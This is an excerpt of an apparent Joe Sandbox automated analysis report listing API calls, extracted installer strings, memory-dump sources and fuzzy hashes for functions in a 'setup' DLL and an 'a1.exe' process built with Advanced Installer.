MapWindowPoints.USER32(00000000,00000000,?,?), ref: 100116E9
MoveWindow.USER32(0000000F,?,0000000F,?,?,00000000,?,?,1002FD60,00000009), ref: 1001170A

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$ExtentMoveObjectParentPoint32PointsRectReleaseSelectText
String ID:
API String ID: 2456833781-0
Opcode ID: b58fe5e0255bbc3348541ca4579eccea998ed2d1821441d5288f18be9d2b23ea
Instruction ID: 365b987599f97103a401181fa88c4ba4a201618a1f30d8a86e763ed73dc29309
Opcode Fuzzy Hash: b58fe5e0255bbc3348541ca4579eccea998ed2d1821441d5288f18be9d2b23ea
Instruction Fuzzy Hash: 59313AB5108340AFE304DF54CC89F6BBBF9EB89701F00491DF69686290DB75E949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 10012020 Relevance: 10.8, APIs: 7, Instructions: 269windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,0000000A,1002FD3C,0000000A,?,?,?,?,?,?,?,?,0000000A), ref: 100120F5
EnableWindow.USER32(?), ref: 100121D5

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

EnableWindow.USER32(?,00000001), ref: 1001211B
ShowWindow.USER32(?,00000005,0000000A,1002FD7C,0000000C,0000000A,1002FD7C,0000000C,0000000A,1002FD30,0000000A), ref: 10012296
EnableWindow.USER32(?,00000001), ref: 100122BC
EnableWindow.USER32(?), ref: 10012376
SendMessageW.USER32(?,0000040A,00000000,00000000), ref: 100123D4

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Enable$Show$MessageSend_memcpy_s
String ID:
API String ID: 319832689-0
Opcode ID: 05db17c30aaa694011525a0944a1fa5599d3b02f0a5888503c3f01cc32dbcae2
Instruction ID: 70297975ae46391a4611124d9420377f8ef106a5a04cd59ae07ca0002d42610a
Opcode Fuzzy Hash: 05db17c30aaa694011525a0944a1fa5599d3b02f0a5888503c3f01cc32dbcae2
Instruction Fuzzy Hash: 23B166B0508381AFD300DF64C894A5BBBE5EF98744F404A1DF1A54B291DBB5E989CF63

Uniqueness

Uniqueness Score: -1.00%

Function 10015AA3 Relevance: 10.6, APIs: 7, Instructions: 137COMMON

Download Yara Rule

APIs

____lc_handle_func.LIBCMT ref: 10015AD4
____lc_codepage_func.LIBCMT ref: 10015ADC
__GetLocaleForCP.LIBCPMT ref: 10015B05
MultiByteToWideChar.KERNEL32(?,00000009,?,00000002,?,00000000), ref: 10015B3A
___pctype_func.LIBCMT ref: 10015B6D
MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,?,00000000), ref: 10015BD0
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000), ref: 10015C01

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ByteCharMultiWide$Locale____lc_codepage_func____lc_handle_func___pctype_func
String ID:
API String ID: 291276006-0
Opcode ID: f7666b4b8f5f8476db1ac35d0d639a4e25868a1555b767a2da24d8a53b4be136
Instruction ID: 95aa83d7133822fa35f213ed1bb5801f1d9836910d5fe9e55b547dc0f0a07bd0
Opcode Fuzzy Hash: f7666b4b8f5f8476db1ac35d0d639a4e25868a1555b767a2da24d8a53b4be136
Instruction Fuzzy Hash: 17418271108246EEDB21CF20C8C1B5A3BE8FF013A2F2D851AF8548E191E772E9D0DB51

Uniqueness

Uniqueness Score: -1.00%

Function 10011CA0 Relevance: 9.2, APIs: 6, Instructions: 240COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,0000000A,1002FD3C,0000000A,?,?,?,?,?,?,?,?,0000000A), ref: 10011D74
EnableWindow.USER32(?,00000000), ref: 10011E4D

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

EnableWindow.USER32(?,00000000), ref: 10011D99
ShowWindow.USER32(?,00000000,0000000A,1002FD7C,0000000C,0000000A,1002FD7C,0000000C,0000000A,1002FD30,0000000A), ref: 10011F0D
EnableWindow.USER32(?,00000000), ref: 10011F32
EnableWindow.USER32(?,00000000), ref: 10011FE6

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Enable$Show$_memcpy_s
String ID:
API String ID: 3980216484-0
Opcode ID: 341bb5b0baf654347adb56bf7cf638f68406970b44fbdb8cc61e519d0c3d8b05
Instruction ID: cf9ef89f6dd81f9a3b295782e13c24bbb108f5d2743206de0f94cdbe79c2d839
Opcode Fuzzy Hash: 341bb5b0baf654347adb56bf7cf638f68406970b44fbdb8cc61e519d0c3d8b05
Instruction Fuzzy Hash: 03A169B0508381AFD304DF58D894A5BBBE9EF88344F404A2DF1A54B291DBB5E949CF93

Uniqueness

Uniqueness Score: -1.00%

Function 100115A0 Relevance: 9.0, APIs: 6, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 100115A4
SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115BA
SendMessageW.USER32(?,0000040A,00000001,0000001E), ref: 100115CA
SendMessageW.USER32(?,0000040A,00000000,00000000), ref: 100115DE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115EB
RedrawWindow.USER32(?,00000000,00000000,00000301), ref: 100115FB

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Long$MessageSend$Redraw
String ID:
API String ID: 3943020483-0
Opcode ID: 6e0fa1797f8b33799c87c708e47c8f07552f8a8d4d201ec70065628c619f56ca
Instruction ID: 12809ebe4bb4be9faaa38a2f221fea71315ac69183fc6af444e071afd0e820f3
Opcode Fuzzy Hash: 6e0fa1797f8b33799c87c708e47c8f07552f8a8d4d201ec70065628c619f56ca
Instruction Fuzzy Hash: CDF0A77158823076F62163105CCEFEB2D259B56F73F314206F715784E0CBE418539269

Uniqueness

Uniqueness Score: -1.00%

Function 1000F010 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1000F03B
std::_Lockit::_Lockit.LIBCPMT ref: 1000F061
__CxxThrowException@8.LIBCMT ref: 1000F0F5
std::_Lockit::_Lockit.LIBCPMT ref: 1000F10A
std::locale::facet::facet_Register.LIBCPMT ref: 1000F127

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8RegisterThrowstd::locale::facet::facet_
String ID:
API String ID: 1988240374-0
Opcode ID: 88f1725d30e76e651ae4c3c405e87a3d6c66aae2df1dc1fb0384dae8fcf9c673
Instruction ID: 69607ac0a36914a34f954432bf053593c0d244222ee4bf07b9bf8a602e25d8da
Opcode Fuzzy Hash: 88f1725d30e76e651ae4c3c405e87a3d6c66aae2df1dc1fb0384dae8fcf9c673
Instruction Fuzzy Hash: 3A31AC75505211CFE301CF24C881B9A73E0EB447A1F55465EF8A6AF6A2DB32F885CF82

Uniqueness

Uniqueness Score: -1.00%

Function 100119E0 Relevance: 6.2, APIs: 4, Instructions: 193windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,?,1002FD3C,0000000A), ref: 10011AA5
ShowWindow.USER32(?,00000000,?,1002FD7C,0000000C,?,00000000,?,1002FD3C,0000000A), ref: 10011AFB
EnableWindow.USER32(?,00000001), ref: 10011BAE

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

SendMessageW.USER32(0000000C,00000111,00000000), ref: 10011C41

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Show$EnableMessageSend_memcpy_s
String ID:
API String ID: 2142818531-0
Opcode ID: 5e10158f3abe846885322613e3c36518130cd84edeb6ee11b16ce95f2ad9bfe5
Instruction ID: c77ea82d2ec4123865e5b06f03d322ab44f2e88015c32df094105da2ed7694c3
Opcode Fuzzy Hash: 5e10158f3abe846885322613e3c36518130cd84edeb6ee11b16ce95f2ad9bfe5
Instruction Fuzzy Hash: 7C7169B4509780AFD314DF64C885A5BFBE9EB99740F800A2EF2A1472A1DBB4D844CF53

Uniqueness

Uniqueness Score: -1.00%

Function 100259E3 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10025A13
__isleadbyte_l.LIBCMT ref: 10025A47
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,?,?,?,1001BEA8,?,?,00000002), ref: 10025A78
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,?,?,?,1001BEA8,?,?,00000002), ref: 10025AE6

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 779e7d33b9541bfb64b5fc2f64f9bf6b5efe3c2a1d130c56c8b075eb8ff8699e
Instruction ID: fc065e40f2b10d99558e67bc2981429e5b45d363ccbf6bb4f39c87f48c76dea3
Opcode Fuzzy Hash: 779e7d33b9541bfb64b5fc2f64f9bf6b5efe3c2a1d130c56c8b075eb8ff8699e
Instruction Fuzzy Hash: D9311431510286EFDB10CFA0D8C2AAE3BF5FF00252F9186A9E4528B0D1E332DD40CB56

Uniqueness

Uniqueness Score: -1.00%

Function 1000C740 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 1000C78D

Part of subcall function 100172FB: RaiseException.KERNEL32(?,?,100163B9,0000001B,?,?,?,?,100163B9,0000001B,10031154,10035B80), ref: 1001733B

__CxxThrowException@8.LIBCMT ref: 1000C7D1
__CxxThrowException@8.LIBCMT ref: 1000C815
__CxxThrowException@8.LIBCMT ref: 1000C854

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID:
API String ID: 3476068407-0
Opcode ID: 4bdd9ec3c7e2989ced90ec6dd1cbeed609424f583945d4b21bf4d64f85c05a21
Instruction ID: 970580fd9f4fb8637838362f685a7036e4f7ce5e8f09dc723077c7b205c464d5
Opcode Fuzzy Hash: 4bdd9ec3c7e2989ced90ec6dd1cbeed609424f583945d4b21bf4d64f85c05a21
Instruction Fuzzy Hash: F5314AB5018788AED311CF64DC41FDBB7E8FF89380F808A1CF69986192EB74A545CB56

Uniqueness

Uniqueness Score: -1.00%

Function 10015FCE Relevance: 6.1, APIs: 4, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1001AE7A: _doexit.LIBCMT ref: 1001AE82

___set_flsgetvalue.LIBCMT ref: 10015FDA

Part of subcall function 1001A63F: TlsGetValue.KERNEL32(1001A782,?,?,10001AD3,?), ref: 1001A645
Part of subcall function 1001A63F: __decode_pointer.LIBCMT ref: 1001A655
Part of subcall function 1001A63F: TlsSetValue.KERNEL32(00000000,?,10001AD3,?), ref: 1001A662

Part of subcall function 1001A624: TlsGetValue.KERNEL32(?,10015FEA,00000000,?), ref: 1001A62E

__freefls@4.LIBCMT ref: 10016025

Part of subcall function 1001A669: __decode_pointer.LIBCMT ref: 1001A677

GetLastError.KERNEL32(00000000,?,00000000,?), ref: 10016001
RtlExitUserThread.NTDLL(00000000), ref: 10016008

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Value$__decode_pointer$ErrorExitLastThreadUser___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 470431776-0
Opcode ID: c6ddff217bd9dcd0928945d4b8938243752554259bf409bc15fae426fdb482d5
Instruction ID: 03ead3322f4582f10db39b825c74f10941e86ac671a8896d89692834ae123982
Opcode Fuzzy Hash: c6ddff217bd9dcd0928945d4b8938243752554259bf409bc15fae426fdb482d5
Instruction Fuzzy Hash: FF11A7B9500201AFD704EFA5CD8594F7BE9EF49204F218466F9088F162DB35ECC3DA51

Uniqueness

Uniqueness Score: -1.00%

Function 10008710 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 10008733
LoadIconW.USER32(00000000,00007F03), ref: 10008751
SendMessageW.USER32(00000000), ref: 10008770
ShowWindow.USER32(00000000), ref: 1000878E

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: DialogIconLoadMessageSendShowWindow
String ID:
API String ID: 308795921-0
Opcode ID: 571ff1f7cdf3a00e104c138906a61bc1d74ba05420b078774c0866de41e6df19
Instruction ID: c8b3ac1def077a1afa6e90268c8b7f9677d5907aa4c780b59e039311b864e218
Opcode Fuzzy Hash: 571ff1f7cdf3a00e104c138906a61bc1d74ba05420b078774c0866de41e6df19
Instruction Fuzzy Hash: 65117C79604620AFF201AB24CC8AF6B37A9FB89B45F20850AF5419B2D5C7B4D942CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10024AD9 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 10024AFD

Part of subcall function 10024928: __fltout2.LIBCMT ref: 10024952

__cftog_l.LIBCMT ref: 10024B23
__cftoe_l.LIBCMT ref: 10024B55

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 9e8e0e8e05aac1d0c2d65642af544b24153418be173f2fc037f02c316d8a234c
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: B9013D3640014ABBCF129E84EC41DEE3F72FB19291B968415FE2959031DB76DAB1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1001E0F7 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1001A7F6: __getptd_noexit.LIBCMT ref: 1001A7F7
Part of subcall function 1001A7F6: __amsg_exit.LIBCMT ref: 1001A804

__amsg_exit.LIBCMT ref: 1001E123
__lock.LIBCMT ref: 1001E133
InterlockedDecrement.KERNEL32(?), ref: 1001E150
InterlockedIncrement.KERNEL32(10034C20), ref: 1001E17B

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: 0118f62f079362de73d0149a5e646a3da2d058c27332fb0093e2dab184669954
Instruction ID: b527ee2c6d3c56f5681c6076ea085fafa2e11bdb4375274561a2def266ad6ba8
Opcode Fuzzy Hash: 0118f62f079362de73d0149a5e646a3da2d058c27332fb0093e2dab184669954
Instruction Fuzzy Hash: 88016D39A01661AFDB42EB69888578E77E1FF08751F160406E9106F291CB74FDC1CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 10011440 Relevance: 6.0, APIs: 4, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 10011458
MapWindowPoints.USER32(00000000,00000000), ref: 10011471
RedrawWindow.USER32(00000000), ref: 10011487
SendMessageW.USER32(?,0000000C,00000000,?), ref: 100114A2

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$MessagePointsRectRedrawSend
String ID:
API String ID: 2944517699-0
Opcode ID: b995667e912f45d88a79baf81a9a416fda78dba68161af8df406c78a587512e6
Instruction ID: ca64d96baf6b07923244387a90139b865a12e5bf54fb4fb4b58016c279e446e7
Opcode Fuzzy Hash: b995667e912f45d88a79baf81a9a416fda78dba68161af8df406c78a587512e6
Instruction Fuzzy Hash: 2A01DF71504310BFF200EB10CC8AFAF7BA8EFC5B01F804909F6459A0A0C774DA95CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1001A6BF Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(1002DCB0,10030BA8,0000000C,1001A7D1,00000000,00000000,?,?,10001AD3,?), ref: 1001A6D0
InterlockedIncrement.KERNEL32(100347F8), ref: 1001A72B
__lock.LIBCMT ref: 1001A733
___addlocaleref.LIBCMT ref: 1001A752

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: HandleIncrementInterlockedModule___addlocaleref__lock
String ID:
API String ID: 2801583907-0
Opcode ID: 709ff1dd404db19b1d8b125c2737d9825d1602d331c18baf4c7e3f2735b8daed
Instruction ID: 369a2286e42145447c857bb8e2798ec54df95f5f4b133e3671179662ed33da0c
Opcode Fuzzy Hash: 709ff1dd404db19b1d8b125c2737d9825d1602d331c18baf4c7e3f2735b8daed
Instruction Fuzzy Hash: E1115774804B01AEE761EF39DC85B9ABBF0EF04314F61441AE5A99A690CB74EA80CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10015F99 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1001A7F6: __getptd_noexit.LIBCMT ref: 1001A7F7
Part of subcall function 1001A7F6: __amsg_exit.LIBCMT ref: 1001A804

__getptd_noexit.LIBCMT ref: 10015F6F
CloseHandle.KERNEL32(?), ref: 10015F83
__freeptd.LIBCMT ref: 10015F8A
RtlExitUserThread.NTDLL(00000000), ref: 10015F92

Part of subcall function 1001AB92: __FindPESection.LIBCMT ref: 1001ABB9

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __getptd_noexit$CloseExitFindHandleSectionThreadUser__amsg_exit__freeptd
String ID:
API String ID: 2409394463-0
Opcode ID: f67cbe03422ec98c3236cf964ce2d68052dbdb584e9dcce6ebf761c9831b1b78
Instruction ID: 333ebb5b86168e80eab8e9e7dde933c8e3d5246a917decfb7d29f8ee1a5ad046
Opcode Fuzzy Hash: f67cbe03422ec98c3236cf964ce2d68052dbdb584e9dcce6ebf761c9831b1b78
Instruction Fuzzy Hash: C1F05E36805910EEE311EBA08C4DB6E37A5EF05362F65021AF6119E0E2DB70DDC28651

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: a1.exePID: 7588, Parent PID: 1992COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	61

Executed Functions

Function 002CFBF0 Relevance: 26.2, APIs: 2, Strings: 12, Instructions: 1737COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

SetEvent.KERNEL32(?,?,00000000,?,00000001), ref: 002CFDE7
SetEvent.KERNEL32(?), ref: 002CFE45

Part of subcall function 002DA670: DeleteFileW.KERNEL32(?,00000000,00000000,?,00000000,80004005,?,?,?,DF534560), ref: 002DA69B

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 002D02C4
%hu, xrefs: 002D0161
AI_BOOTSTRAPPERLANGS, xrefs: 002D0CA9, 002D0CBB, 002D0CC5
Languages of setup:, xrefs: 002D0EFD
Software\Caphyon\Advanced Installer\, xrefs: 002D02B0
A valid language was received from commnad line. This is:, xrefs: 002D0135
Advinst_Extract_, xrefs: 002CFC45, 002CFC57, 002CFC61
Language of a related product is:, xrefs: 002D032C
Code returned to Windows by setup:, xrefs: 002CFFA1
Language used for UI:, xrefs: 002D045E
f_4, xrefs: 002D09E3, 002D0F5E
Language selected programatically for UI:, xrefs: 002D03E2

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: EventInit_thread_footer$DeleteFileFindHeapProcessResource
String ID: %hu$A valid language was received from commnad line. This is:$AI_BOOTSTRAPPERLANGS$Advinst_Extract_$Code returned to Windows by setup:$Language of a related product is:$Language selected programatically for UI:$Language used for UI:$Languages of setup:$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$Software\Caphyon\Advanced Installer\$f_4
API String ID: 4144826820-1104767274
Opcode ID: 9bb82bc6fc306e01bba0f1cab91e0ced32ada6ee667cb7ae76d2b786d691078e
Instruction ID: efb5cc3507a204307f71686729f4bc04846afdae5c397b0aaac870c32ba067a4
Opcode Fuzzy Hash: 9bb82bc6fc306e01bba0f1cab91e0ced32ada6ee667cb7ae76d2b786d691078e
Instruction Fuzzy Hash: 97E2B23090064ADFDB00DFA8C849BAEF7B5EF55314F1482A9E515AB3A2DB74DD05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002D9090 Relevance: 23.5, APIs: 10, Strings: 3, Instructions: 744COMMON

Download Yara Rule

Strings

t=, xrefs: 002D9928
t=, xrefs: 002D9957
t=, xrefs: 002D9979

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID: t=$t=$t=
API String ID: 275895251-220515560
Opcode ID: c2ec070a242080e0f4583ee546e2b1cf836bab4c45e614d1f7d360dd391c35f1
Instruction ID: 9db594b538cda254ac7190c8606fd06f72974265d5c76a45db4fa1298c258951
Opcode Fuzzy Hash: c2ec070a242080e0f4583ee546e2b1cf836bab4c45e614d1f7d360dd391c35f1
Instruction Fuzzy Hash: 38628D7091064ADFDB11CFA8C888BDEBBB4BF05314F14829AE415AB391DB70AD95CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001CF3C0 Relevance: 21.9, APIs: 8, Strings: 4, Instructions: 879fileCOMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000), ref: 001CF4D2
FindFirstFileW.KERNEL32(?,00000000,*.*), ref: 001CF77E
GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000), ref: 001CF798
GetFullPathNameW.KERNEL32(?,00000000,?,00000000), ref: 001CF7CB
FindClose.KERNEL32(00000000), ref: 001CF83C
SetLastError.KERNEL32(0000007B), ref: 001CF846
_wcsrchr.LIBVCRUNTIME ref: 001CF89C
_wcsrchr.LIBVCRUNTIME ref: 001CF8BC

Strings

\\?\UNC\, xrefs: 001CF553, 001CF66F, 001CFA9B, 001CFBA7
:e+, xrefs: 001CF3C7, 001CF3F1, 001CF3EB, 001CF484
*.*, xrefs: 001CF4FF, 001CF507
\\?\, xrefs: 001CF68A, 001CF742, 001CFBC2, 001CFC7B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Find$CloseFullNamePath_wcsrchr$ErrorFileFirstLast
String ID: *.*$:e+$\\?\$\\?\UNC\
API String ID: 3417489732-1865778561
Opcode ID: 5856100e594ea40a3c6a1eaba1e2de8ba0d019f8acff4384d4c597a64e3132d1
Instruction ID: 844da46b070913177a8a4021159d828e0f0eb57647754cb47240f5be65fec785
Opcode Fuzzy Hash: 5856100e594ea40a3c6a1eaba1e2de8ba0d019f8acff4384d4c597a64e3132d1
Instruction Fuzzy Hash: D162D371A006159FDB14DF68C889FAEB7A6FF64314F14827DE815DB2A1DB31E902CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A55B570 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 339
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindClose.KERNEL32(00000000,7FFFFFFE,6A5D5C04,?), ref: 6A55B5D2
PathIsUNCW.SHLWAPI(6A5D5C04,*.*,7FFFFFFE,6A5D5C04), ref: 6A55B633
FindFirstFileW.KERNEL32(6A5D5C04,?,*.*,7FFFFFFE,6A5D5C04), ref: 6A55B78B
GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6A55B7A5
GetFullPathNameW.KERNEL32(00000000,00000000,?,00000000), ref: 6A55B7D8
FindClose.KERNEL32(00000000), ref: 6A55B847
SetLastError.KERNEL32(0000007B), ref: 6A55B855
_wcsrchr.LIBVCRUNTIME ref: 6A55B8AB
_wcsrchr.LIBVCRUNTIME ref: 6A55B8CB

Strings

\\?\UNC\, xrefs: 6A55B653, 6A55B70E
\\?\, xrefs: 6A55B721, 6A55B776, 6A55B77B
*.*, xrefs: 6A55B5FF, 6A55B607

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
